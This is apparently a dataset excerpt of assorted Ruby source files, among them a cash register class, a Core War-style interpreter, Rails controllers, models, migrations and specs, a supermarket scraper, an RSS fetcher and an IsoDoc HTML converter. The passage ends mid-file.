text stringlengths 10 2.61M |
|---|
require 'pry'
class CashRegister
attr_accessor :total, :discount, :cart
def initialize(discount=0)
@total = 0
@discount = discount
@cart = []
end
def add_item(title, price, quantity=1)
cart_hash = {}
cart_hash[:item] = title
cart_hash[:price] = price
cart_hash[:quantity] = quantity
@cart << cart_hash
@total += price * quantity
end
def apply_discount
if @discount > 0
@total = @total - (@total * (@discount/100.0))
"After the discount, the total comes to $#{@total.to_i}."
else
"There is no discount to apply."
end
end
def items
item_cart = []
@cart.each do |item|
item[:quantity].times do
item_cart << item[:item]
end
end
item_cart
end
def void_last_transaction
last_item = @cart.pop
void = last_item[:price] * last_item[:quantity]
@total -= void
end
end |
require './cellnum'
require 'pp'
require './disassembler.rb'
class CoreThread
attr_accessor :player
attr_accessor :eip,:iret,:r1,:r2,:acc,:ptr
attr_accessor :interrupt_enable,:Imem,:Icza,:Iclk #interrupt flags
attr_accessor :Tmem,:Tcza,:Tclk #interrupt vector target addresses
attr_accessor :ImemPtr,:IczaVal, :IclkVal #interrupt values
attr_accessor :equal,:above,:smaller,:clk
attr_accessor :ILastAcc, :ILastMem
attr_accessor :lastExec
attr_reader :threadID
def to_s
"thread: #{@player.name}, @#{eip.to_i} acc,ptr,r1,r2=#{[@acc,@ptr,@r1,@r2].join ","}"
end
def initialize(eip,threadid,player)
@eip,@iret,@r1,@r2,@acc,@ptr,@player=Cellnum.new(eip),Cellnum.new(eip),Cellnum.new(0),Cellnum.new(0),Cellnum.new(0),Cellnum.new(0),player
@clk=Cellnum.new(0)
@interrupt_enable,@Imem,@Icza,@Iclk =false,false,false,false
@Tmem,@Tcza,@Tclk =nil,nil,nil
@ImemPtr,@IczaVal,@IclkVal =Cellnum.new(0),Cellnum.new(0),Cellnum.new(0)
@equal,@above,@smaller=false,false,false
@ILastAcc=@acc
@ILastMem=Cellnum.new(0)
@threadID=threadID
@lastExec=Cellnum.new(eip)
end
def tick(interpreter)
if @IclkVal!=0 and @clk!=0 and (@clk % @IclkVal)==0
@Iclk = true
end
@clk+=1
if (thismem=interpreter.getCellNum(@ImemPtr))!=@ILastMem
@Imem = true
@ILastMem=thismem
end
if @acc==@IczaVal && @acc!=@ILastAcc
@Icza =true
end
@ILastAcc=@acc
end
end
class Player
attr_accessor :threads, :playerID
attr_reader :threadcount, :threadindex
attr_accessor :name
attr_accessor :lastRead, :lastWritten
attr_accessor :bot_id
attr_accessor :wins
attr_accessor :ties
def initialize
@threads=[]
@threadindex=0
@threadcount=0
@lastRead=[]
@lastWritten=[]
end
#return the next thread to run
def choose
return nil if @threads.length==0
@threadindex+=1
@threadindex%=@threads.length
return @threads[@threadindex]
end
def split(position)
t=CoreThread.new(position,@threadcount+=1,self)
@threads<<t
end
def kill(thread)
@threads-=[thread]
end
def alive?
@threads.length!=0
end
end
class Interpreter
attr_accessor :players, :arena, :quit, :next, :blacklist
attr_reader :cmds
def initialize(config)
@config=config
@arena=Array.new(config.arena_length){Cellnum.new(0)}
@quit,@next=false
@cmds={
:add => lambda{|p1,p2,t| arithmetic_op( p1 , t, value(p1,t)+value(p2,t)) },
:sub => lambda{|p1,p2,t| arithmetic_op( p1 , t, value(p1,t)-value(p2,t)) },
:mul => lambda{|p1,p2,t| arithmetic_op( p1 , t, value(p1,t)*value(p2,t)) },
:div => lambda{|p1,p2,t| arithmetic_op( p1 , t, value(p1,t)/value(p2,t)) },
:mod => lambda{|p1,p2,t| arithmetic_op( p1 , t, value(p1,t)%value(p2,t)) },
:and => lambda{|p1,p2,t| arithmetic_op( p1 , t, value(p1,t)&value(p2,t)) },
:or => lambda{|p1,p2,t| arithmetic_op( p1 , t, value(p1,t)|value(p2,t)) },
:xor => lambda{|p1,p2,t| arithmetic_op( p1 , t, value(p1,t)^value(p2,t)) },
:not => lambda{|p1,t| arithmetic_op( p1 , t, value(p1,t).not) },
:inc => lambda{|p1,t| arithmetic_op( p1 , t, value(p1,t)+1) },
:dec => lambda{|p1,t| arithmetic_op( p1 , t, value(p1,t)-1) },
:neg => lambda{|p1,t| arithmetic_op( p1 , t, value(p1,t)*-1) },
:ada => lambda{|p1,t| arithmetic_op( [:immediate,:acc,nil] , t, value([:immediate,:acc,nil],t)+value(p1,t)) },
:sba => lambda{|p1,t| arithmetic_op( [:immediate,:acc,nil] , t, value([:immediate,:acc,nil],t)-value(p1,t)) },
:ica => lambda{|t| arithmetic_op( [:immediate,:acc,nil] , t, value([:immediate,:acc,nil],t)+1) },
:dca => lambda{|t| arithmetic_op( [:immediate,:acc,nil] , t, value([:immediate,:acc,nil],t)-1) },
:mov => lambda{|p1,p2,t| arithmetic_op( p1 , t, value(p2,t)) },
:mvp => lambda{|p1,t| arithmetic_op( [:direct,:ptr,nil] , t, value(p1,t)) },
:mva => lambda{|p1,t| arithmetic_op( [:immediate,:acc,nil] , t, value(p1,t)) },
:jmp => lambda{|p1,t| jmp_op( t, value(p1,t),true) },
:jie => lambda{|p1,t| jmp_op( t, value(p1,t),t.equal) },
:jia => lambda{|p1,t| jmp_op( t, value(p1,t),t.above) },
:jis => lambda{|p1,t| jmp_op( t, value(p1,t),t.smaller) },
:jne => lambda{|p1,t| jmp_op( t, value(p1,t),!t.equal) },
:jna => lambda{|p1,t| jmp_op( t, value(p1,t),!t.above) },
:jns => lambda{|p1,t| jmp_op( t, value(p1,t),!t.smaller) },
:cmp => lambda{|p1,p2,t| cmp_op(t,value(p1,t),value(p2,t))},
:sti => lambda{|t| t.interrupt_enable=true; t.eip+=1;},
:cli => lambda{|t| t.interrupt_enable=false; t.eip+=1;},
:rti => lambda{|t| t.interrupt_enable=true; t.eip=t.iret;},
:clk => lambda{|p1,p2,t|
t.IclkVal=Cellnum.new([value(p1,t).to_i,4].max)
t.Tclk=value(p2,t);
if t.Tclk==0
t.Tclk=nil
else
t.Tclk+=t.eip
end
t.Iclk=false
t.eip+=1
t.clk=Cellnum.new(0)
},
#TODO set the lastMem and lastcza values
:mem => lambda{|p1,p2,t|
t.ImemPtr=t.eip+value(p1,t);
t.Tmem=value(p2,t);
if t.Tmem==0
t.Tmem=nil
else
t.Tmem+=t.eip
end
t.Imem=false
t.ILastMem=getCellNum(t.ImemPtr)
t.eip+=1
},
:cza => lambda{|p1,p2,t|
t.IczaVal=value(p1,t);
t.Tcza=value(p2,t);
if t.Tcza==0
t.Tcza=nil
else
t.Tcza+=t.eip
end
t.Icza=false
t.ILastAcc=t.acc
t.eip+=1
}
}
end
def cmp_op(thread,value1,value2)
thread.equal=(value1==value2)
thread.smaller=(value1<value2)
thread.above=(value1>value2)
thread.eip+=1
end
def arithmetic_op(param,thread,value)
store(param,thread,value)
thread.equal=(value==0)
thread.smaller=(value<0)
thread.above=(value>0)
thread.eip+=1
end
def jmp_op(thread,value, do_jump)
if do_jump
thread.eip+=value.to_i
else
thread.eip+=1
end
end
def do_instruction(code,player,thread)
cmd,param1,param2=code
raise "process die due to blacklisted cmd" if @blacklist and @blacklist.include? cmd
old_eip=thread.eip
thread.lastExec=thread.eip
if @cmds.include? cmd
exec=@cmds[cmd]
if exec.arity==3 && param1 && param2
exec.call(param1,param2,thread)
elsif exec.arity==2 && param1
exec.call(param1,thread)
elsif exec.arity==1
exec.call(thread)
else
raise "process died due to invalid parameters for #{cmd}"
end
elsif cmd==:splt
if param1
if player.threads.length < @config.max_player_threads
player.split(old_eip+value(param1,thread))
end
thread.eip+=1
else
raise "process died due to invalid parameters for #{cmd}"
end
else
raise "process died due to invalid opcode #{cmd}"
end
post_op(param1,thread,old_eip)
post_op(param2,thread,old_eip)
end
def value(param,thread)
type,val,op=param
#puts "val #{val.inspect}"
nval= case val
when :ptr then Cellnum.new(thread.ptr)
when :acc then Cellnum.new(thread.acc)
when :r1 then Cellnum.new(thread.r1)
when :r2 then Cellnum.new(thread.r2)
when Fixnum,Bignum then Cellnum.new(val)
end
#puts "nval #{nval.inspect}"
return nval if type==:immediate
thread.player.lastRead<<thread.eip+nval
nval = getCellNum(thread.eip+nval)
return nval if type==:direct
thread.player.lastRead<<thread.eip+nval
nval = getCellNum(thread.eip+nval)
return nval if type==:indirect
raise "Interpretation failed, invalid type #{param.inspect}"
end
def store(param,thread,value)
type,val,op=param
if type==:immediate
case val
when :ptr then thread.ptr=value ; return
when :acc then thread.acc=value ; return
when :r1 then thread.r1=value ; return
when :r2 then thread.r2=value ; return
else raise "ERROR in Store: Trying to change a constant instead of a register"
end
end
addr= thread.eip + case val
when :ptr then thread.ptr
when :acc then thread.acc
when :r1 then thread.r1
when :r2 then thread.r2
when Fixnum,Bignum then val
else raise "ERROR in Store: Wrong direct parameter"
end
addr=thread.eip+getCellNum(addr) if type==:indirect
setCellNum(addr,value,thread.player)
end
def getCellNum(addr)
@arena[addr.to_i % @arena.length]
end
def getCellCode(addr)
#Disassembler.bin_to_code(getCellNum(addr).to_bin)
getCellNum(addr).to_code
end
def getCellChar(addr)
begin
char=case getCellCode(addr)[0].to_s
when /^([mjc])/ then $1
when "die" then "!"
else "a"
end
return char
rescue Exception => e
return "#"
end
end
def setCellNum(addr,value,owner=nil)
@arena[addr.to_i % @arena.length]=Cellnum.new(value)
@arena[addr.to_i % @arena.length].owner=owner
owner.lastWritten<<addr if owner
end
def post_op(param,thread,eip)
#we need the old eip befor a jump
#TODO needs to be fixed in runcmd
#should be fixed now (testing)!
oldeip=thread.eip
thread.eip=eip
type,val,op=param
if op
cval=value(param,thread)
case op
when :inc then cval+=1
when :dec then cval-=1
end
store(param,thread,cval)
end
thread.eip=oldeip
end
def round_callback(round)
end
def end_callback(players)
end
def run_callback(players)
end
def run(maxrounds,*players)
players.each_index { |e| players[e].playerID=e}
@players=players # for use in the callbacks
finished=false
rounds=0
run_callback(players)
while not finished
#puts "round #{rounds}"
rounds+=1
alivecount=0
players.sort_by{rand}.each do |p|
p.lastWritten=[]
p.lastRead=[]
t=p.choose
next if not t
t.tick(self) #update interrupt values
#check for interrupt occurance
if t.interrupt_enable
if t.Imem && t.Tmem
t.Imem=false
t.iret=t.eip
t.eip=t.Tmem
elsif t.Icza && t.Tcza
t.Icza=false
t.iret=t.eip
t.eip=t.Tcza
elsif t.Iclk && t.Tclk
t.Iclk=false
t.iret=t.eip
t.eip=t.Tclk
end
end
#try to execute code or kill thread
begin
begin
code=getCellNum(t.eip).to_code
ensure
if $DEBUG
STDERR.puts "thread: #{t}"
STDERR.puts "executes: #{code.inspect}"
#STDERR.puts "in context #{@arena.map {|e| e.to_i}.inspect}"
end
end
do_instruction(code,p,t)
rescue
if $DEBUG
STDERR.puts "thread #{t} from player #{t.player.name} died at addr. #{t.eip} in round #{rounds} because of #{$!}\n #{$!.backtrace.join("\n")}"
end
p.kill(t)
end
alivecount+=1 if p.alive?
end
round_callback(rounds)
finished=true if @next or @quit or alivecount<=1 or rounds>=maxrounds
end
end_callback(players)
end
end
|
require 'hashie'
module Traject
module Hashie
# Backporting fix from https://github.com/intridea/hashie/commit/a82c594710e1bc9460d3de4d2989cb700f4c3c7f
# into Hashie.
#
# This makes merge(ordinary_hash) on a Hash that has IndifferentAccess included work, without
# raising. Which we needed.
#
# As of this writing that fix is not available in a Hashie release, if it becomes so
# later than this monkey-patch may no longer be required, we can just depend on fixed version.
#
# See also https://github.com/intridea/hashie/issues/451
module IndifferentAccessFix
def merge(*args)
result = super
::Hashie::Extensions::IndifferentAccess.inject!(result) if hash_lacking_indifference?(result)
result.convert!
end
end
end
end
Hashie::Extensions::IndifferentAccess.include(Traject::Hashie::IndifferentAccessFix)
|
require 'rack/livereload'
require 'middleman-livereload/reactor'
module Middleman
module LiveReload
class << self
@@reactor = nil
def registered(app, options={})
options = {
:api_version => '1.6',
:host => '0.0.0.0',
:port => '35729',
:apply_js_live => true,
:apply_css_live => true,
:grace_period => 0
}.merge(options)
app.ready do
# Doesn't make sense in build
if environment != :build
if @@reactor
@@reactor.app = self
else
@@reactor = Reactor.new(options, self)
end
files.changed do |file|
next if ignore_manager.ignored?(file)
sleep options[:grace_period]
sitemap.ensure_resource_list_updated!
begin
file_url = sitemap.file_to_path(file)
file_resource = sitemap.find_resource_by_path(file_url)
reload_path = file_resource.destination_path
rescue
reload_path = "#{Dir.pwd}/#{file}"
end
@@reactor.reload_browser(reload_path)
end
files.deleted do |file|
next if ignore_manager.ignored?(file)
sleep options[:grace_period]
sitemap.ensure_resource_list_updated!
@@reactor.reload_browser("#{Dir.pwd}/#{file}")
end
use ::Rack::LiveReload, :port => options[:port].to_i, :host => options[:host]
end
end
end
alias :included :registered
end
end
end
|
require 'rails_helper'
describe PurchasesController, type: :controller do
describe 'GET #new' do
it "renders the :new template" do
category = create(:category)
user = create(:user)
address = create(:address, user: user)
sign_in(user)
item = create(:item, user: user, category: category, saler: user)
get :new, params: {item_id: item.id}
expect(response).to render_template :new
end
end
describe 'POST #create' do
it "match the :create purchase" do
category = create(:category)
user = create(:user)
address = create(:address, user: user)
sign_in(user)
item = create(:item, user: user, category: category, saler: user)
post :create, params: {item_id: item.id}
expect(response).to render_template :new
end
end
end |
require 'spec_helper'
require 'webpay/mock'
describe Spree::PaymentMethod::Webpay do
subject(:payment_method) { described_class.new() }
before do
payment_method.preferences = { secret_key: 'test_secret_xxx' }
end
let(:empty_avs_result) { {"code" => nil, "message" => nil, "street_match" => nil, "postal_match" => nil} }
let(:match_cvv_result) { {"code" => "M", "message" => "CVV matches"} }
let(:empty_cvv_result) { {"code" => nil, "message" => nil} }
describe '#supports?' do
before do
webpay_stub(:account, :retrieve, overrides: { card_types_supported: ['Visa', 'MasterCard'] })
end
def stub_source(brand)
double('Source', brand: brand)
end
it 'should be true when the source brand is visa' do
expect(payment_method.supports?(stub_source('visa'))).to eq true
end
it 'should be true when the source brand is jcb' do
expect(payment_method.supports?(stub_source('jcb'))).to eq false
end
end
describe '#authorize' do
let(:mock_card) { double('CreditCard', gateway_payment_profile_id: 'tok_fromspreeform') }
let(:params) { {
amount: 1500,
currency: 'jpy',
card: mock_card.gateway_payment_profile_id,
capture: false,
}}
it 'should request as expected' do
mock_response = webpay_stub(:charges, :create, params: params)
payment_method.authorize(1500, mock_card)
assert_requested(:post, "https://api.webpay.jp/v1/charges", body: JSON.dump(params))
end
it 'should return succeeded ActiveMerchant::Billing::Response for correct transaction' do
mock_response = webpay_stub(:charges, :create, params: params)
response = payment_method.authorize(1500, mock_card)
expect(response).to be_success
expect(response.message).to eq 'Transaction approved'
expect(response.test).to eq true
expect(response.authorization).to eq mock_response['id']
expect(response.avs_result).to eq empty_avs_result
expect(response.cvv_result).to eq match_cvv_result
end
it 'should return failed ActiveMerchant::Billing::Response for errors' do
mock_response = webpay_stub(:charges, :create, params: params, error: :card_error)
response = payment_method.authorize(1500, mock_card)
expect(response).not_to be_success
expect(response.message).to eq 'The card number is invalid. Make sure the number entered matches your credit card.'
expect(response.test).to eq false
expect(response.authorization).to eq nil
expect(response.avs_result).to eq empty_avs_result
expect(response.cvv_result).to eq empty_cvv_result
end
it 'should return failed ActiveMerchant::Billing::Response for response with failure_message' do
mock_response = webpay_stub(:charges, :create, params: params, overrides: { failure_message: 'Service unavailable' })
response = payment_method.authorize(1500, mock_card)
expect(response).not_to be_success
expect(response.message).to eq 'Service unavailable'
expect(response.test).to eq true
expect(response.authorization).to eq mock_response['id']
expect(response.avs_result).to eq empty_avs_result
expect(response.cvv_result).to eq match_cvv_result
end
context 'with customer_profile_id' do
let(:mock_card) { double('CreditCard', gateway_customer_profile_id: 'cus_savedcustomer', gateway_payment_profile_id: nil) }
let(:params) { {
amount: 1500,
currency: 'jpy',
customer: 'cus_savedcustomer',
capture: false,
}}
it 'should request as expected' do
mock_response = webpay_stub(:charges, :create, params: params)
payment_method.authorize(1500, mock_card)
assert_requested(:post, "https://api.webpay.jp/v1/charges", body: JSON.dump(params))
end
end
context 'connection error' do
it 'should return failed ActiveMerchant::Billing::Response' do
stub_request(:any, 'https://api.webpay.jp/v1/charges').to_timeout
response = payment_method.authorize(1500, mock_card)
expect(response).not_to be_success
expect(response.message).to eq 'API request failed with execution expired'
end
end
end
describe '#purchase' do
let(:mock_card) { double('CreditCard', gateway_payment_profile_id: 'tok_fromspreeform') }
let(:params) { {
amount: 1500,
currency: 'jpy',
card: mock_card.gateway_payment_profile_id,
capture: true,
}}
it 'should request as expected' do
mock_response = webpay_stub(:charges, :create, params: params)
payment_method.purchase(1500, mock_card)
assert_requested(:post, "https://api.webpay.jp/v1/charges", body: JSON.dump(params))
end
it 'should return succeeded ActiveMerchant::Billing::Response for correct transaction' do
mock_response = webpay_stub(:charges, :create, params: params)
response = payment_method.purchase(1500, mock_card)
expect(response).to be_success
expect(response.message).to eq 'Transaction approved'
expect(response.test).to eq true
expect(response.authorization).to eq mock_response['id']
expect(response.avs_result).to eq empty_avs_result
expect(response.cvv_result).to eq match_cvv_result
end
# other cases are covered by #authorize
end
describe '#capture' do
let(:charge_id) { 'ch_authorizedcharge' }
let(:params) { { id: charge_id, amount: 1300 } }
it 'should capture existing charge with given amount' do
webpay_stub(:charges, :capture, params: params)
payment_method.capture(1300, charge_id)
assert_requested(:post, "https://api.webpay.jp/v1/charges/#{charge_id}/capture", body: JSON.dump(amount: 1300))
end
it 'should return success ActiveMerchant::Billing::Response' do
webpay_stub(:charges, :capture, params: params)
response = payment_method.capture(1300, charge_id)
expect(response).to be_success
end
it 'should return failed ActiveMerchant::Billing::Response for errors' do
webpay_stub(:charges, :capture, params: params, error: :bad_request)
response = payment_method.capture(1300, charge_id)
expect(response).not_to be_success
end
end
describe '#void' do
let(:charge_id) { 'ch_authorizedcharge' }
let(:params) { { id: charge_id } }
it 'should capture existing charge with given amount' do
webpay_stub(:charges, :refund, params: params)
payment_method.void(charge_id, nil)
assert_requested(:post, "https://api.webpay.jp/v1/charges/#{charge_id}/refund", body: '{}')
end
it 'should return success ActiveMerchant::Billing::Response' do
webpay_stub(:charges, :refund, params: params)
response = payment_method.void(charge_id, nil)
expect(response).to be_success
end
it 'should return failed ActiveMerchant::Billing::Response for errors' do
webpay_stub(:charges, :refund, params: params, error: :bad_request)
response = payment_method.void(charge_id, nil)
expect(response).not_to be_success
end
end
describe '#refund' do
let(:charge_id) { 'ch_captured' }
let!(:charge) { webpay_stub(:charges, :retrieve, params: { id: charge_id }, overrides: { amount: 1500, refunded: false, amount_refunded: 100 }) }
let(:params) { { id: charge_id, amount: 400 } }
it 'should capture existing charge with given amount' do
webpay_stub(:charges, :refund, params: params)
payment_method.refund(1000, nil, charge_id)
assert_requested(:post, "https://api.webpay.jp/v1/charges/#{charge_id}/refund", body: JSON.dump(amount: 400))
end
it 'should return success ActiveMerchant::Billing::Response' do
webpay_stub(:charges, :refund, params: params)
response = payment_method.refund(1000, nil, charge_id)
expect(response).to be_success
end
it 'should return failed ActiveMerchant::Billing::Response for errors in retrieve' do
webpay_stub(:charges, :retrieve, params: { id: charge_id }, error: :not_found)
response = payment_method.refund(1000, nil, charge_id)
expect(response).not_to be_success
expect(response.message).to eq 'No such charge'
end
it 'should return failed ActiveMerchant::Billing::Response for errors in refund' do
webpay_stub(:charges, :refund, params: params, error: :bad_request)
response = payment_method.refund(1000, nil, charge_id)
expect(response).not_to be_success
expect(response.message).to eq "Missing required param: amount" # test error message
end
end
describe '#create_profile' do
let(:source) { double("Source", gateway_customer_profile_id: nil, gateway_payment_profile_id: 'tok_sourceprofileid') }
let(:order) { double("Source", email: 'customer@example.com', name: 'John Doe') }
let(:payment) { double("Payment", source: source, order: order) }
let(:params) { {
card: 'tok_sourceprofileid',
description: 'John Doe',
email: 'customer@example.com',
} }
it 'should do nothing if source already has customer_profile_id' do
expect(source).to receive(:gateway_customer_profile_id).and_return('cus_alreadyassigned')
expect(source).not_to receive(:update_attributes!)
payment_method.create_profile(payment)
end
it 'should create customer' do
customer = webpay_stub(:customers, :create, params: params)
expect(source).to receive(:update_attributes!).with(gateway_customer_profile_id: customer['id'], gateway_payment_profile_id: nil)
payment_method.create_profile(payment)
assert_requested(:post, "https://api.webpay.jp/v1/customers", body: JSON.dump(params))
end
it 'should call gateway_error on error response' do
webpay_stub(:customers, :create, params: params, error: :bad_request)
expect(source).not_to receive(:update_attributes!)
expect(payment).to receive(:send).with(:gateway_error, "Missing required param: amount")
payment_method.create_profile(payment)
assert_requested(:post, "https://api.webpay.jp/v1/customers", body: JSON.dump(params))
end
end
end
|
class Interest < ApplicationRecord
has_many :user_interests
has_many :users, through: :user_interests
validates :name, presence: true, blank: false
end
|
class MedicationsController < ApplicationController
def index
@medications = current_user.medications
end
def show
@medication = current_user.medications
end
def new
@medication = Medication.new
end
def edit
@medication = Medication.find(params[:id])
end
def create
@medication = Medication.new(medication_params)
@medication.user_id = current_user.id
if @medication.save
redirect_to :profile, notice: "Medication was added!"
else
flash.now[:alert] = "Error saving medication"
render :new
end
end
def update
@medication = Medication.find(params[:id])
if @medication.update_attributes(medication_params)
redirect_to :profile
else
render :edit
end
end
def destroy
@medication = Medication.find(params[:id])
@medication.destroy
redirect_to medications_path
end
private
def medication_params
params.require(:medication).permit(:name, :amount, :started_at, :ended_at, :id)
end
end
|
# TODO Lifted from Rails master, once this is released switch to the ActiveRecord version
module SecureToken
extend ActiveSupport::Concern
module ClassMethods
# Example using has_secure_token
#
# # Schema: User(token:string, auth_token:string)
# class User < ActiveRecord::Base
# has_secure_token
# has_secure_token :auth_token
# end
#
# user = User.new
# user.save
# user.token # => "pX27zsMN2ViQKta1bGfLmVJE"
# user.auth_token # => "77TMHrHJFvFDwodq8w7Ev2m7"
# user.regenerate_token # => true
# user.regenerate_auth_token # => true
#
# SecureRandom::base58 is used to generate the 24-character unique token, so collisions are highly unlikely.
#
# Note that it's still possible to generate a race condition in the database in the same way that
# <tt>validates_uniqueness_of</tt> can. You're encouraged to add a unique index in the database to deal
# with this even more unlikely scenario.
def has_secure_token(attribute = :token)
# Load securerandom only when has_secure_token is used.
define_method("regenerate_#{attribute}") { update! attribute => self.class.generate_unique_secure_token }
before_create { self.send("#{attribute}=", self.class.generate_unique_secure_token) unless self.send("#{attribute}?")}
end
def generate_unique_secure_token
SecureRandom.base58(24)
end
end
end
require 'securerandom'
module SecureRandom
BASE58_ALPHABET = ('0'..'9').to_a + ('A'..'Z').to_a + ('a'..'z').to_a - ['0', 'O', 'I', 'l']
# SecureRandom.base58 generates a random base58 string.
#
# The argument _n_ specifies the length, of the random string to be generated.
#
# If _n_ is not specified or is nil, 16 is assumed. It may be larger in the future.
#
# The result may contain alphanumeric characters except 0, O, I and l
#
# p SecureRandom.base58 #=> "4kUgL2pdQMSCQtjE"
# p SecureRandom.base58(24) #=> "77TMHrHJFvFDwodq8w7Ev2m7"
#
def self.base58(n = 16)
SecureRandom.random_bytes(n).unpack("C*").map do |byte|
idx = byte % 64
idx = SecureRandom.random_number(58) if idx >= 58
BASE58_ALPHABET[idx]
end.join
end
end
|
class ChangeGroupEnabledDefaultToFalse < ActiveRecord::Migration[5.2]
def up
change_column :groups, :enabled, :boolean, default: false
end
def down
change_column :groups, :enabled, :boolean, default: true
end
end
|
require_relative 'base'
class BaseReddit < Base
attr_accessor :reddit_object
def get_from_reddit(klass, existing_list, ended_at, after, limit, count)
args = { limit: limit, count: count }
if(after)
args[:after] = after
end
list = klass.reddit_accessor(reddit_object, args)
if (list.length > 0)
result_list = (existing_list + list.map do |item|
klass.new(klass.constructor_args_for_reddit_object(self, item))
end).uniq do |c|
klass.unique_parent_child(self, c)
end
after = list.last.fullname
end
ended_at += limit
result_list = result_list || []
return { result_list: result_list, ended_at: ended_at, after: after}
end
end
|
# discussion posts attached to an event
# although admins may not post directly on an event page,
# admin announcements also create new Post objects
class Post < ActiveRecord::Base
belongs_to :event, class_name: "Event"
belongs_to :user
default_scope -> {order('created_at DESC')}
validates :content, presence: true, length: { maximum: 200 }
validates :user_id, presence: true
validates :event_id, presence: true
end |
module Crawlers
module Carrefour
class RegistrationCrawler < Crawlers::ApplicationCrawler
CARREFOUR_BASE_URL = 'https://www.carrefour.com.br'.freeze
CARREFOUR_HOME_URL = 'https://www.carrefour.com.br/dicas/mercado'.freeze
CARREFOUR_MODEL = Market.find_by(name: 'Carrefour')
class << self
def execute
@products = []
home = Nokogiri::HTML(open(CARREFOUR_HOME_URL))
# Get all catergories links
links = home.css('#boxes-menulateral ul li ul li a').map { |category| category.attr('href') }
# Visit all caterories
links.each do |link|
begin
# puts '+++++++++++++++++++++++++++++++++++++++ PROXIMA CATEGORIA +++++++++++++++++++++++++++++++++++++++'
category = Nokogiri::HTML(open("#{CARREFOUR_BASE_URL}#{link}"))
# Loop the first products
loop_through_category(category)
# Click next button and continue visiting products
next_page = (category.css('#loadNextPage').attr('href').value rescue nil)
# Stop only of next page is nil
until next_page.nil?
# puts '---------------------------------------- PROXIMA PÁGINA ----------------------------------------'
category = Nokogiri::HTML(open(next_page))
loop_through_category(category)
next_page = (category.css('#loadNextPage').attr('href').value rescue nil)
end
rescue
puts "Erro! Vida que segue!"
end
end
end
private
def loop_through_category(category)
category.css('[itemprop=itemListElement]').each_with_index do |product_html, index|
product_name = product_html.css('[itemprop=name]')[index].attr('content').strip
price = product_html.css('[name=productPostPrice]')[index].attr('value').strip.to_f
product_url = product_html.css('[itemprop=url]')[index].attr('content').strip
next if include_wrong_encoding_chars?(product_name)
# Fix product name if it has wrong encoding
# So it is not added again in the database
product_name = Applications::NurseBot.treat_product_name(product_name) if is_sick?(product_name)
# Look for url
# because after many tries
# it seems to be the most uniq, error-free attribute
# Product is not in database
if Product.where(url: product_url).empty?
# Add it to the database
product = Product.create(name: product_name,
price: price,
image: (product_html.css('[itemprop=image]')[index].attr('data-src').strip rescue ''),
market_name: 'carrefour',
market: CARREFOUR_MODEL,
url: product_url)
# create the first price history
new_price = PriceHistory.create(old_price: 0,
current_price: price,
product: product)
puts "NOVO PRODUTO: #{product.name} -> #{product.price} "
end
end
end
end
end
end
end
|
require 'rss/2.0'
require 'open-uri'
class HomeController < ApplicationController
before_filter :set_blog_news_count
def set_blog_news_count
@blogNewsCount = 12
end
def title
"Fly Fishing"
end
class BlogNews
attr_reader :title, :link, :description, :image_link
def initialize( title, link, description )
@title, @link, @description = title, link, description
@image_link = get_image( link )
end
def get_image( link )
data = open(link).read
ind_begin = data.index("<img")
href_begin = data.index("src=", ind_begin)+5
ind_end = data.index("\"",href_begin)
image_link = data[ href_begin, ind_end - href_begin ]
if image_link.include?("blogspot.com")
return image_link
end
return nil
end
end
private
def get_data_from_src( doc, type )
data_array = []
doc.elements.each( "rss/channel/item/" + type ) { |element| data_array << element.text }
data_array
end
def getBlogNews
response = open("http://blog.chavanga.com/feeds/posts/default?alt=rss").read
doc = REXML::Document.new( response )
titles = get_data_from_src( doc, "title" )
links = get_data_from_src( doc, "link" )
descriptions = get_data_from_src( doc, "atom:summary" )
max = (@blogNewsCount < titles.size ? @blogNewsCount : titles.size)
result = []
(0..max-1).each { |i| result << BlogNews.new( titles[i], links[i], descriptions[i] ) }
result
end
public
def load_news_from_blog
begin
@blogNews = getBlogNews
render :partial => 'news'
rescue
@blogNews = []
render :partial => 'news'
end
end
def index
end
end
|
class ColorTest < Test
def setup
@class = Color
@object = @class[0, 0, 0]
end
def test_implements_color_interface
assert_respond_to(@class, :[])
%i[value == to_s to_hex].each do |method|
assert_respond_to(@object, method)
end
end
def test_initializes_with_bytes
assert_equal([255, 128, 0], @class[255, 128, 0].value)
end
def test_initializes_with_hex
assert_equal([255, 128, 0], @class['#ff8000'].value)
end
end
|
module IsoDoc
module Gb
# A {Converter} implementation that generates GB output, and a document
# schema encapsulation of the document for validation
class HtmlConvert < IsoDoc::HtmlConvert
def formula_parse(node, out)
out.div **attr_code(id: node["id"], class: "formula") do |div|
insert_tab(div, 1)
parse(node.at(ns("./stem")), out)
insert_tab(div, 1)
div << "(#{get_anchors[node['id']][:label]})"
end
formula_where(node.at(ns("./dl")), out)
end
def formula_where(dl, out)
return unless dl
out.p { |p| p << @where_lbl }
formula_dl_parse(dl, out)
end
def formula_dl_parse(node, out)
out.table **{ class: "dl" } do |v|
node.elements.each_slice(2) do |dt, dd|
v.tr do |tr|
tr.td **{ valign: "top", align: "left" } do |term|
dt_parse(dt, term)
end
tr.td(**{ valign: "top" }) { |td| td << "—" }
tr.td **{ valign: "top" } do |listitem|
dd.children.each { |n| parse(n, listitem) }
end
end
end
end
end
EXAMPLE_TBL_ATTR =
{ valign: "top", class: "example_label",
style: "padding:2pt 2pt 2pt 2pt" }.freeze
def example_parse(node, out)
out.table **attr_code(id: node["id"], class: "example") do |t|
t.tr do |tr|
tr.td **EXAMPLE_TBL_ATTR do |td|
td << l10n(example_label(node) + ":")
end
tr.td **{ valign: "top", class: "example" } do |td|
node.children.each { |n| parse(n, td) }
end
end
end
end
def note_parse(node, out)
@note = true
out.table **attr_code(id: node["id"], class: "Note") do |t|
t.tr do |tr|
tr.td **EXAMPLE_TBL_ATTR do |td|
td << l10n(note_label(node) + ":")
end
tr.td **{ valign: "top", class: "Note" } do |td|
node.children.each { |n| parse(n, td) }
end
end
end
@note = false
end
def termnote_parse(node, out)
@note = true
out.table **attr_code(id: node["id"], class: "Note") do |t|
t.tr do |tr|
tr.td **EXAMPLE_TBL_ATTR do |td|
td << l10n("#{get_anchors[node['id']][:label]}:")
end
tr.td **{ valign: "top", class: "Note" } do |td|
node.children.each { |n| parse(n, td) }
end
end
end
@note = false
end
def middle(isoxml, out)
super
end_line(isoxml, out)
end
def end_line(_isoxml, out)
out.hr **{ width: "25%" }
end
def error_parse(node, out)
# catch elements not defined in ISO
case node.name
when "string" then string_parse(node, out)
else
super
end
end
def string_parse(node, out)
if node["script"] == "Hant"
out.span **{ class: "Hant" } do |s|
node.children.each { |c| parse(c, s) }
end
else
node.children.each { |c| parse(c, out) }
end
end
